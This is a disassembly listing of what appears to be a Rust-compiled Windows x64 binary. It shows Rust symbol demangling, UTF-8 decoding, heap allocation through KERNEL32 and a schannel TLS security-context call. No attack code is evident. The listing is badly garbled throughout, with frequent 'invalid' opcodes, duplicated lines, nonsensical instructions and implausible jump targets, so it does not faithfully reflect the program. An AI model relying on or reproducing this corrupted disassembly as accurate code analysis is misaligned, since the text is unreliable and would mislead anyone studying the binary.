mov rcx, qword [rsi + 0x20]
mov bpl, 1
test rcx, rcx
je 0x140126f6a
lea rdx, [0x1401da0b4]
mov r8d, 1
call fcn.140059ad0
mov dil, 1
test al, al
jne 0x1401270d6
jmp 0x140126f6a
test rcx, rcx
je 0x140126fd7
lea rdx, [0x1401da0b1]
mov r8d, 1
call fcn.140059ad0
mov dil, 1
test al, al
jne 0x1401270d6
jmp 0x140126fd7
mov bpl, 1
cmp bl, 0x52
je 0x140126f95
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140126f95
lea rdx, [0x1401da47e]
mov r8d, 4
call fcn.140059ad0
mov dil, 1
test al, al
jne 0x1401270d6
mov dil, 1
mov rcx, rsi
mov dl, 1
call fcn.140126af0
jmp 0x1401270ef
mov rcx, rsi
call fcn.140127f10
mov dil, 1
test rax, rax
jne 0x1401270d6
cmp rdx, 1
jne 0x140127018
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1401270f3
lea rdx, str._____
mov r8d, 1
call fcn.140059ad0
test al, al
jne 0x1401270d6
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1401270f3
lea rdx, [0x1401dff48]
mov r8d, 1
call fcn.140059ad0
jmp 0x1401270ef
mov eax, edi
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
ret
test al, al
jne 0x1401270d6
test bpl, bpl
je 0x140126bae
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140126bae
lea rdx, [0x1401dc0ab]
mov r8d, 1
call fcn.140059ad0
jmp 0x140126ba3
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140126bae
lea rdx, [0x1401da4c4]
mov r8d, 5
jmp 0x140127116
mov r9, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
cmp rax, r9
jae 0x140127ff7
cmp byte [r8 + rax], 0x45
je 0x140128222
invalid
test r12, r12
je 0x14012802f
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14012802f
mov r8d, 2
mov rdx, r15
call fcn.140059ad0
mov ebp, 0x84fff31a
ror byte [rdi], 0x85
wait
add dword [rax], eax
invalid
mov r8, qword [rsi]
test r8, r8
je 0x1401280d2
mov r9, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
cmp rax, r9
jae 0x140128120
cmp byte [r8 + rax], 0x73
jne 0x140128120
invalid
lea rcx, [rax + 1]
mov qword [rsi + 0x10], rcx
cmp rcx, r9
jae 0x140128064
cmp byte [r8 + rcx], 0x5f
jne 0x140128064
add rax, 2
mov qword [rsi + 0x10], rax
jmp 0x140128120
xor eax, eax
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
cmp rcx, r9
jae 0x140128197
movzx edx, byte [r8 + rcx]
cmp dl, 0x5f
je 0x140128104
add byte [rax], al
invalid
lea r10d, [rdx - 0x30]
cmp r10b, 0xa
jb 0x1401280b4
lea r10d, [rdx - 0x61]
cmp r10b, 0x1a
jae 0x1401280a0
invalid
add eax, 0xeba9c280
adc dword [rbp + rcx*4 + 0x52], eax
mov edi, 0x1afa8041
add dl, 0xa9
jmp 0x1401280b1
lea r10d, [rdx - 0x41]
cmp r10b, 0x1a
jae 0x140128197
add dl, 0xe3
mov r10d, edx
ror byte [rax - 1], cl
ror dword [rax - 0x77], 0x4e
adc byte [rax - 9], cl
in eax, 0xf
adc bl, 0
add byte [rax], al
inc rcx
mov qword [rsi + 0x10], rcx
mul rbp
jo 0x140128197
movzx edx, r10b
add rax, rdx
jae 0x140128070
jmp 0x140128197
mov rcx, qword [rsi + 0x20]
test rcx, rcx
leave
je 0x1401281c9
test dl, ch
add byte [rax], al
add byte [rcx - 0x43], al
mov r13d, 1
mov r13d, 1
mov r8d, 1
lea rdx, str._for_____::closureshim_as__mut_const___dyn___unsafe_extern__
call fcn.140059ad0
test al, al
je 0x140128186
invalid
xchg dword [rax], eax
add byte [rax], al
fstp dword [rcx]
inc dword [rax + rax*8 + 0x87840f]
invalid
xchg dword [rax], eax
test byte [rdi - 0x17000000], al
enter 0, 0
add byte [rax], al
jmp 0x1401281cc
inc rcx
mov qword [rsi + 0x10], rcx
invalid
adc byte [rax - 1], cl
ror byte [rdi], 0x84
add dword [rax], 0
inc rax
je 0x140128197
invalid
add byte [rax - 0x7d], cl
clc
dec dword [rdi]
cmp rax, 0xffffffffffffffff
je 0x140128197
jns 0x14012811c
add byte [rax], al
test byte [rcx], bh
jns 0x14012811c
add byte [rax], al
nop
mov rcx, rdi
mov rdx, rsi
call fcn.140125b10
cmp qword [rsp + 0x20], 0
je 0x1401281e0
invalid
invalid
add byte [rax], al
invalid
test eax, 0xf000000
movups xmm0, xmmword [rsp + 0x20]
adc byte [rsp + 0x20], al
movups xmm1, xmmword [rsp + 0x30]
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
mov r13, qword [rsi + 0x20]
test r13, r13
test ebp, ebp
test ebp, ebp
je 0x140128178
mov rcx, rbx
mov rdx, r13
call fcn.140125d40
test al, al
jne case.0x1400f1e0d.359
inc dword [rax + rax*8 - 0x47beac8b]
add al, byte [rax]
add byte [rax], al
mov rcx, r13
mov rdx, r14
call fcn.140059ad0
invalid
test al, al
jne case.0x1400f1e0d.359
inc dword [rax + rax*8 - 0x76b7c18b]
int1
mov rcx, rsi
mov dl, 1
call fcn.140126af0
test al, al
invalid
jne case.0x1400f1e0d.359
add eax, ebp
outsb dx, byte [rsi]
jmp 0x100978183
invalid
sal byte [rbp + 0x30], 0x4c
mov eax, dword [rsi]
mov r8, qword [rsi]
inc r12
inc esp
test r8, r8
jne 0x140127fdf
invalid
invalid
invalid
invalid
invalid
jmp 0x1401281c9
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
test rcx, rcx
je 0x1401281be
lea rdx, str.invalid_syntaxrecursion_limit_reached
mov r8d, reloc.WS2_32.dll_recv
call fcn.140059ad0
test al, al
je 0x1401281be
mov r13d, 1
jmp 0x1401281cc
mov qword [rsi], 0
add byte [rax], al
mov byte [rsi + 8], 0
xor r13d, r13d
xor ebp, ebp
mov rax, r13
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop rsp
invalid
pop rsp
pop r13
pop r14
pop rsi
pop rsi
pop r15
ret
movzx ebx, byte [rsp + 0x28]
and al, 0x28
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
test ecx, ecx
je 0x140128216
test bl, bl
lea rax, str.invalid_syntaxrecursion_limit_reached
lea eax, str.invalid_syntaxrecursion_limit_reached
lea eax, str.invalid_syntaxrecursion_limit_reached
and dword [rdx], esp
or eax, dword [rax]
lea rdx, [0x1401da428]
lea edx, [0x1401da428]
sub ah, byte [rdx]
or eax, dword [rax]
cmove rdx, rax
movzx eax, bl
mov dh, 0xc3
ror byte [rdi], 1
mov dh, 0xc3
lea r8, [rax + rax*8]
add r8, 0x10
add eax, 0x10
ror byte [rcx - 0x7d], 0xc0
adc al, ch
mov esi, 0x84fff318
inc dword [rax + rax*8 - 0x38b75f8b]
invalid
add byte [rax], al
add byte [rax], al
invalid
add eax, 0x10
call fcn.140059ad0
test al, al
jne case.0x1400f1e0d.359
inc dword [rax + rax*8 - 0x38b75f8b]
mov qword [rsi], 0
invalid
mov byte [rsi + 8], bl
jmp 0x1401281c9
inc rax
mov qword [rsi + 0x10], rax
jmp 0x1401281c9
sahf
and byte [r8 + 0x110001], dil
mov qword [rcx], r9
mov qword [rcx + 8], rdx
cmp r8, 2
jne 0x140128679
movzx r10d, byte [rax]
movzx r8d, byte [rax + 1]
add dword [rcx - 0x73], eax
rol byte [rbx + 0x1e720af8], 1
add dword [rcx - 0x73], eax
rol byte [rbx + 0x1e720af8], 1
or r10d, 0x20
add r10d, 0xffffff9f
add r10d, 0xa
mov eax, 0xffffffff
cmovae eax, r10d
cmp eax, 0x10
jae 0x14012865f
add eax, dword [rax]
invalid
lea r11d, [r8 - 0x30]
cmp r11d, 0xa
jb 0x1401282c5
fadd dword [rcx - 0x7d]
sti
adc byte [rdi], cl
sbb dword [rdx - 0x3ffffffd], 0xffffffe0
add al, 0x41
or bl, al
ret
ret
js 0x14012831b
mov byte [rsp + 0x24], r11b
mov word [rsp + 0x25], 0
mov dword [rsp + 0x25], 0x44c60000
and al, 0x27
add byte [rax - 0x73], cl
and al, 0x24
mov dword [rsp + 0x25], 0x44c60000
and al, 0x27
add byte [rax - 0x73], cl
and al, 0x24
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 1
and al, 0x30
add dword [rax], eax
add byte [rax], al
mov r8d, 1
lea rsi, [rsp + 0x40]
lea rdx, [rsp + 0x24]
mov rcx, rsi
int1
call fcn.14005a400
cmp qword [rsp + 0x40], 0
je case.0x140107dc6.258
mov eax, 0x110000
jmp 0x140128638
invalid
add byte [rax + 0x110000], bh
mov eax, 0x110000
cmp r11b, 0xc0
jb 0x140128638
cmp r11b, 0xe0
jb 0x140128384
invalid
mov r8d, 3
add eax, dword [rax]
add byte [rax], al
mov r10b, 1
xor eax, eax
jmp 0x1401283f8
mov rcx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x50]
and al, 0x50
and al, 0x50
push rax
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
jo 0x1401283a2
mov dword [rsp + 0x78], eax
lea rdx, [rcx + rax]
test rax, rax
test eax, eax
test eax, eax
je case.0x140107e15.254
movzx eax, byte [rcx]
test al, al
js 0x140128391
lea r8, [rcx + 1]
jmp fcn.1401285bb
mov eax, 0x110000
mov r8, rcx
jmp fcn.1401285bb
mov r9d, eax
and r9d, 0x1f
loope 0x1401283b7
movzx r11d, byte [rcx + 1]
add dword [rcx - 0x7d], eax
jrcxz 0x1401283e0
add dword [rcx - 0x7d], eax
jrcxz 0x1401283e0
cmp al, 0xdf
fisttp word [rdi]
xchg ah, dh
add dword [rax], eax
add byte [rdi + rcx - 0x4a], al
invalid
invalid
jbe 0x14012859d
movzx edx, byte [rcx + 2]
shl r11d, 6
shl ebx, 6
invalid
push rcx
add al, byte [rcx - 0x3f]
shl ebx, 6
invalid
invalid
and r10d, 0x3f
and edx, 0x3f
or r10d, r11d
cmp al, 0xf0
invalid
fidivr dword [rax + rsi*8]
invalid
jb 0x1401285ad
lea r8, [rcx + 4]
movzx eax, byte [rcx + 3]
mov dh, 0x41
add eax, dword [rcx - 0x7d]
loope 0x1401283d4
add al, 0xf
mov dh, 0x41
add eax, dword [rcx - 0x7d]
loope 0x1401283d4
invalid
shl r9d, 0x12
shl r10d, 6
loop 0x1401283db
invalid
and eax, 0x3f
or eax, r10d
rol byte [rcx + rcx - 0x38], 1
or eax, r9d
jmp fcn.1401285bb
fadd dword [rcx]
add dword [rax], eax
add byte [rcx - 0x80], al
sti
clc
add byte [rax], al
cmp r11b, 0xf8
jae 0x140128638
or dword [rbx + 2], 0
add byte [rcx - 0x48], al
add al, 0
add byte [rax], al
mov r8d, 4
mov al, 1
xor r10d, r10d
xor edx, edx
mov byte [rsp + 0x24], r11b
mov word [rsp + 0x25], 0
add dh, al
and al, 0x27
add byte [rax - 0x73], cl
je case.0x140107976.296
and al, 0x24
and al, 0x66
mov dword [rsp + 0x25], 0x44c60000
and al, 0x27
add dh, al
and al, 0x27
add byte [rax - 0x73], cl
je case.0x140107976.296
invalid
lea esi, [rsp + 0x24]
and al, 0x48
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x28], esi
and al, 0x28
mov qword [rsp + 0x30], r8
cmp rdx, 2
jb 0x140128311
lea rdi, [r9 + 2]
lea edi, [rcx + 2]
lea rsi, [rdx - 2]
mov qword [rcx], rdi
mov qword [rcx + 8], rsi
cmp dword [rax - 0x77], ecx
jno 0x140128439
movzx r14d, byte [r9]
mov dh, 0x31
movzx ebx, byte [r9 + 1]
pop rcx
add dword [rcx - 0x73], eax
jle 0x14012840e
lea edi, [r14 - 0x30]
cmp edi, 0xa
jb 0x140128461
or r14d, 0x20
add r14d, 0xffffff9f
add esi, 0xffffff9f
add esi, 0xffffff9f
add r14d, 0xa
mov edi, 0xffffffff
cmovae edi, r14d
cmovae edi, esi
cmp edi, 0xf
ja 0x14012865f
xchg esi, edi
add dword [rax], eax
invalid
lea ebp, [rbx - 0x30]
cmp ebp, 0xa
jb 0x140128483
imul edx, eax, 0xffffff83
std
or dh, byte [rdx + 0x1a]
or ebx, 0x20
add ebx, 0xffffff9f
add ebx, 0xa
mov ebp, 0xffffffff
dec dword [rdi]
jmp 0x1401283fe
std
invalid
ja 0x14012865f
fadd qword [rcx]
add byte [rax], al
dec dword [rdi]
jmp 0x1401283fe
std
invalid
shl dil, 4
or bpl, dil
mov byte [rsp + 0x25], bpl
insb byte [rdi], dx
and al, 0x25
insb byte [rdi], dx
and al, 0x25
cmp r11b, 0xe0
jb 0x1401282f7
cmp rsi, 2
cmp esi, 2
jb 0x140128311
invalid
lea rsi, [r9 + 4]
lea r11, [rdx - 4]
lea ebx, [rdx - 4]
lea ebx, [rdx - 4]
mov qword [rcx], rsi
mov qword [rcx + 8], r11
mov dword [rcx + 8], ebx
mov dword [rcx + 8], ebx
movzx ebx, byte [r9 + 2]
movzx edi, byte [r9 + 3]
lea esi, [rbx - 0x30]
jae case.0x14011a874.184
add al, byte [rcx + 0xf]
mov dh, 0x79
add ecx, dword [rbp - 0x17c2f8d]
jae case.0x14011a874.184
cmp esi, 0xa
jb 0x1401284de
jae case.0x14011a874.184
cmp esi, 0xa
jb 0x1401284de
or ebx, 0x20
add ebx, 0xffffff9f
add ebx, 0xa
ret
or bh, byte [rsi - 1]
cmovae esi, ebx
cmp esi, 0xf
ret
ja 0x14012865f
lea ebx, [rdi - 0x30]
cmp ebx, 0xa
jb 0x140128500
or edi, 0x20
add edi, 0xffffff9f
add edi, 0xa
mov ebx, 0xffffffff
invalid
cmovae ebx, edi
cmp ebx, 0xf
ja 0x14012865f
shl sil, 4
or bl, sil
mov byte [rsp + 0x26], bl
pop rsp
and al, 0x26
test r10b, r10b
jne 0x1401282f7
or bh, byte [rcx - 1]
cmovae ecx, r10d
cmovae ecx, edx
cmp ecx, 0xf
and al, 0x27
jmp 0x1401282f7
invalid
shl ecx, 6
or r9d, r11d
mov eax, r9d
mov eax, ecx
mov eax, ecx
jmp fcn.1401285bb
lea r8, [rcx + 3]
shl r9d, 0xc
add eax, dword [r9 - 0x3f]
add eax, dword [rcx - 0x3f]
loope 0x1401285c1
or r10d, r9d
mov eax, r10d
movzx ecx, byte [rax]
test r9b, r9b
jns 0x140128693
cmp r9b, 0xe0
jb 0x140128693
cmp r9b, 0xf0
jb 0x140128693
movzx r10d, byte [r8 + 1]
and r10d, 0x3f
loop 0x140128629
movzx r11d, byte [r8 + 2]
and r11d, 0x3f
movzx r8d, byte [r8 + 3]
add eax, dword [rcx - 0x7d]
loope 0x140128603
shl r9d, 0x12
shl ecx, 0x12
shl r10d, 0xc
shl r11d, 6
or r11d, r10d
and r8d, 0x3f
or r8d, r11d
or r8d, r9d
cmp r8d, 0x110000
add byte [rax], al
adc dword [rax], eax
sete r8b
sar byte [0x140238626], 0x75
invalid
jmp 0x140128693
test r8b, r8b
je 0x140128693
add rsp, 0xb0
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
invalid
invalid
or ecx, dword [rax - 0x73]
or eax, 0xb5de8
pop rbp
or eax, dword [rax]
invalid
lea rcx, str.internal_error:_entered_unreachable_code_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_src_threadmod.rs
add byte [rbp + rcx*4 + 5], cl
loope 0x1401286a0
invalid
lea r8, str.C:Users_runneradmin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rustc_demangle_0.1.23_src_v0.rs
or eax, dword [rax]
add byte [rdx + 0x28], bh
mov edx, 0x28
call fcn.140160fb0
ud2
invalid
call fcn.1401289a0
or byte [rbx], al
add byte [rax], al
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x28]
and al, 0x28
mov qword [rsp + 0x40], rax
lea rax, [0x140128a80]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x50], rax
lea rax, [0x140135230]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x38]
mov qword [rsp + 0x60], rax
lea rax, [fcn.140058ea0]
mov qword [rsp + 0x68], rax
lea rax, str.internal_error:_entered_unreachable_code:_str::from_utf8_____was_expected_to_have_1_char__but__chars_were_found
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 4
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0x98], 3
lea rdx, str.C:Users_runneradmin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rustc_demangle_0.1.23_src_v0.rs
lea rcx, [rsp + 0x80]
call fcn.140160e20
ud2
xor r14d, r14d
xor ecx, ecx
mov rax, r15
sub rax, rdi
add rax, 2
movabs rdx, 0xaaaaaaaaaaaaaaab
mul rdx
shr rdx, 1
lea rax, [rdx + rcx]
inc rax
mov r13w, 1
cmp rax, 4
mov ebp, 3
cmovae rbp, rax
movabs rax, 0x3fffffffffffffff
cmp rbp, rax
jae 0x14012c33f
lea rbx, [rbp*2 + 2]
movzx eax, byte [0x1402153f8]
add eax, 0xe9327
add eax, 0xe9327
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14012c0f6
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14012c330
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, rbx
mov eax, ebx
mov eax, ebx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14012c330
inc rbp
mov word [rax], r12w
mov qword [rsp + 0x28], rax
and al, 0x28
and al, 0x28
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x38], 1
and al, 0x38
add dword [rax], eax
add byte [rax], al
and al, 0x38
add dword [rax], eax
add byte [rax], al
lea r12, [r15 + 2]
mov ebx, 1
jmp 0x14012c14f
xor ecx, ecx
leave
mov ebp, r14d
cmp rbx, qword [rsp + 0x30]
je 0x14012c1fb
mov r14d, ecx
mov word [rax + rbx*2], bp
inc rbx
mov qword [rsp + 0x38], rbx
test rdi, rdi
je 0x14012c1d0
test r14w, r14w
jne 0x14012c130
cmp rdi, r15
je 0x14012c1d0
movzx r8d, byte [rdi]
movzx ebp, r8b
test bpl, bpl
js 0x14012c173
inc rdi
xor ecx, ecx
jmp 0x14012c135
mov ecx, ebp
and ecx, 0x1f
movzx r9d, byte [rdi + 1]
and r9d, 0x3f
cmp bpl, 0xdf
jbe 0x14012c242
movzx edx, byte [rdi + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x14012c255
movzx ebp, byte [rdi + 3]
and ecx, 7
shl ecx, 0x12
shl edx, 6
and ebp, 0x3f
in eax, 0x3f
in eax, 0x3f
or ebp, edx
or ebp, ecx
cmp ebp, 0x110000
jne 0x14012c26f
lodsb al, byte [rsi]
add byte [rax], al
invalid
lodsb al, byte [rsi]
add byte [rax], al
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rsi + 0x41], ah
cmp ebp, 1
invalid
cmp r13w, 1
add dword [rdi], ecx
test esp, eax
add byte [rax], al
add byte [rcx], dh
xor ebp, ebp
jne case.0x14005f6a2.2629
xor ebp, ebp
mov edi, 0
mov r13d, 0
mov r8d, 0
mov eax, 0
mov eax, 0
cmp rbx, qword [rsp + 0x30]
pop rsp
and al, 0x30
jne 0x14012c143
invalid
jmp case.0x14005f6a2.2612
mov rax, r12
sub rax, rdi
movabs rdx, 0xaaaaaaaaaaaaaaab
stosb byte [rdi], al
stosb byte [rdi], al
stosb byte [rdi], al
stosb byte [rdi], al
stosb byte [rdi], al
stosb byte [rdi], al
stosb byte [rdi], al
stosb byte [rdi], al
stosb byte [rdi], al
stosb byte [rdi], al
stosb byte [rdi], al
stosb byte [rdi], al
mul rdx
mul edx
mov r8, rdx
shr r8, 1
call 0x1420c457e
call 0x1420c457e
sbb r8, 0xffffffffffffffff
fdivr st(7)
cmp r13w, 1
sbb r8, 0xffffffffffffffff
mov r14d, ecx
inc r8
lea rcx, [rsp + 0x28]
sub byte [rax - 0x77], cl
invalid
call fcn.140164530
add eax, dword [rax]
sub byte [rax - 0x77], cl
invalid
add eax, dword [rax]
mov rax, qword [rsp + 0x28]
jmp 0x14012c143
add rdi, 2
shl ecx, 6
or ecx, r9d
leave
mov dword [rdx], 0x4406e1c1
or ecx, ecx
leave
leave
mov ebp, ecx
xor ecx, ecx
jmp 0x14012c135
invalid
invalid
invalid
invalid
add rdi, 3
shl ecx, 0xc
or edx, ecx
mov ebp, edx
cmp ebp, 0xffff
ja 0x14012c27b
invalid
adc esi, dword [rcx]
leave
xor ecx, ecx
jmp 0x14012c135
dec dword [rax - 0x7d]
mov dword [rcx + rax*4], 0xfffffd
invalid
inc dword [rax]
add byte [rsi - 0x13], dh
add rdi, 4
cmp ebp, 0xffff
invalid
inc dword [rax]
add byte [rsi - 0x13], dh
invalid
lea edx, [rbp + 0xff0000]
xchg ebp, eax
add byte [rax], al
inc dword [rax]
shr edx, 0xa
or edx, 0xd800
or al, byte [rcx + 0xd800ca]
add byte [rcx + 0x3ffe5], al
and ebp, 0x3ff
invalid
int 0
fadd qword [rax]
and ebp, 0x3ff
or ebp, 0xdc00
int 0
fadd qword [rax]
invalid
mov ecx, ebp
int 0
fadd qword [rax]
add byte [rcx - 0x162a7617], cl
xchg esi, eax
invalid
mov ebp, edx
jmp 0x14012c135
mov rdi, qword [rsp + 0x28]
lea rax, [rsp + 0x30]
and al, 0x30
and al, 0x30
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
sub dword [rsp + 0x40], eax
sub dword [rsp + 0x40], eax
mov r8, qword [rsi + 0x10]
test r8, r8
je 0x14012c2d0
adc byte [rbp - 0x7b], cl
sal byte [rsi + rdx + 0x48], 0x83
invalid
jle 0x14012c2d6
cmp qword [rsi + 0x18], 0
cmp dword [rsi + 0x18], 0
add byte [rdi + rcx + 0x48], dh
je 0x14012c2d0
mov rcx, qword [0x140215360]
mov ecx, dword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
sar bh, cl
adc eax, 0x3bd58
mov qword [rsi + 0x10], rdi
movaps xmm0, xmmword [rsp + 0x40]
and al, 0x40
movups xmmword [rsi + 0x18], xmm0
mov rax, rsi
add rsp, 0x58
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
cmp r12d, 0xffff
jbe 0x14012c077
lea eax, [r12 + 0xff0000]
shr eax, 0xa
or eax, 0xd800
and r12d, 0x3ff
or r12d, 0xdc00
mov ecx, 1
mov r14d, r12d
mov r12d, eax
jmp 0x14012c07c
mov ecx, 2
mov rdx, rbx
call fcn.14015d7f0
ud2
call fcn.1400138d0
ud2
add byte [rax], al
add byte [rax], al
add r15, qword [rcx + rdx]
add rdx, 0x18
cmp rax, rdx
jne 0x14012c3e0
add r15, r14
je 0x14012c442
js 0x14012c60f
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14012c420
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14012c433
invalid
sbb eax, 0x48c18948
mov dword [0x140215360], eax
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esp, 0x89480003
ret
test rax, rax
jne case.0x1400693d1.2435
mov esp, 0x89480003
ret
mov ecx, 1
add dword [rax], eax
add byte [rax], al
mov rdx, r15
cli
call fcn.14015d7f0
adc eax, dword [rbx]
add byte [rdi], cl
ud2
mov ebx, 1
ud2
mov ebx, 1
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax - 0x77], cl
mov qword [rsp + 0x38], rbx
pop rsp
and al, 0x38
mov qword [rsp + 0x40], r15
and al, 0x40
mov qword [rsp + 0x48], 0
mov dword [rsp + 0x48], 0
test r14, r14
je 0x14012c52b
mov qword [rsp + 0x50], rsi
shl r14, 3
out 3, al
lea rbp, [r14 + r14*2]
xor esi, esi
test byte [rbp + rcx*4 + 0x7c], 0x24
cmp byte [rbp + 0x31], al
invalid
jmp 0x14012c4c2
mov byte [rbx + r14], r12b
inc r14
mov qword [rsp + 0x48], r14
mov r13, qword [rdi + rsi]
mov ebp, dword [rdi + rsi]
mov rax, qword [rsp + 0x40]
sub rax, r14
cmp rax, r12
jb 0x14012c4e5
mov rbx, qword [rsp + 0x38]
lea rcx, [rbx + r14]
mov rdx, r13
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
add byte [rbp + 1], cl
out 0x4c, al
mov dword [rsp + 0x48], esi
and al, 0x48
add rsi, 0x18
cmp rbp, rsi
cmp ebp, esi
je 0x14012c4fa
mov r12, qword [rdi + rsi + 0x10]
cmp r14, qword [rsp + 0x40]
jne 0x14012c480
mov rcx, r15
mov rdx, r14
bnd call fcn.140093b10
mov rbx, qword [rsp + 0x38]
mov r14, qword [rsp + 0x48]
jmp 0x14012c480
mov rcx, r15
mov rdx, r14
mov r8, r12
call fcn.14015cc80
lea eax, [rdi]
add eax, dword [rax]
mov r14, qword [rsp + 0x48]
jmp 0x14012c49d
lea rdi, [r14 + 0xa]
movabs rax, 0x7ffffffffffffffd
invalid
invalid
invalid
jg case.0x1400693d1.2474
cmp edi, eax
mov rsi, qword [rsp + 0x50]
jae 0x14012c616
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
cmp al, 0x8e
invalid
invalid
test rcx, rcx
jne 0x14012c55f
jmp 0x14012c546
mov edi, 0xa
xor r14d, r14d
movzx eax, byte [0x1402153f8]
add eax, 0xe8ebe
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14012c55f
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14012c5ea
xchg ebp, eax
add byte [rax], al
invalid
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14012c5ea
mov r15, rax
lea eax, [r14 + 6]
mov dword [r15], eax
mov dword [r15 + 4], 2
add al, byte [rax]
add byte [rax], al
mov word [r15 + 8], r14w
cmp r14, 0xfffffffffffffff6
jae 0x14012c5f9
mov rcx, r15
add rcx, 0xa
mov rdx, rbx
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsi], 4
mov qword [rsi + 8], rdi
mov qword [rsi + 0x10], r15
cmp qword [rsp + 0x40], 0
je 0x14012c5d8
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rbx
add rsp, 0x58
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
nop
add rsp, 0x58
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov ecx, 4
mov rdx, rdi
call fcn.14015d7f0
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.22_src_alpn_list.rs
mov ecx, 0xa
mov rdx, rdi
call fcn.140160e60
ud2
call fcn.1400138d0
ud2
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.22_src_alpn_list.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1401da7b0]
lea r8, [rsp + 0x37]
mov edx, 0x2b
call fcn.140161200
ud2
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xc0]
mov qword [rsp + 0xd8], rax
mov dword [rsp + 0x6c], 0
movups xmm0, xmmword [r15 + 0x10]
movaps xmmword [rsp + 0x70], xmm0
lea rax, [rsp + 0x6c]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x58], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea rcx, [rsp + 0x70]
xor edx, edx
mov r8, r14
mov r9d, 0x9819c
call qword [sym.imp.secur32.dll_InitializeSecurityContextW]
cmp eax, 0x90312
jne 0x14012c7fe
movaps xmm0, xmmword [rsp + 0xc0]
movups xmmword [rdi + 0x18], xmm0
movaps xmm0, xmmword [rsp + 0xb0]
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], 1
test bpl, bpl
je 0x14012c816
jmp 0x14012c832
shl rax, 0x20
or rax, 2
mov qword [rdi], rax
mov qword [rdi + 0x10], 2
test bpl, bpl
jne 0x14012c832
enter 0x4802, 0xffffffffffffff89
invalid
cmp r12, 0x11
jb 0x14012c820
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rsp + 0x90], 0
je 0x14012c84f
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0xe0]
sub byte [rsp + 0xe0], dh
loopne 0x14012c855
add byte [rax], al
add byte [rax - 0x7f], cl
add rsp, 0xf8
invalid
add byte [rax], al
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
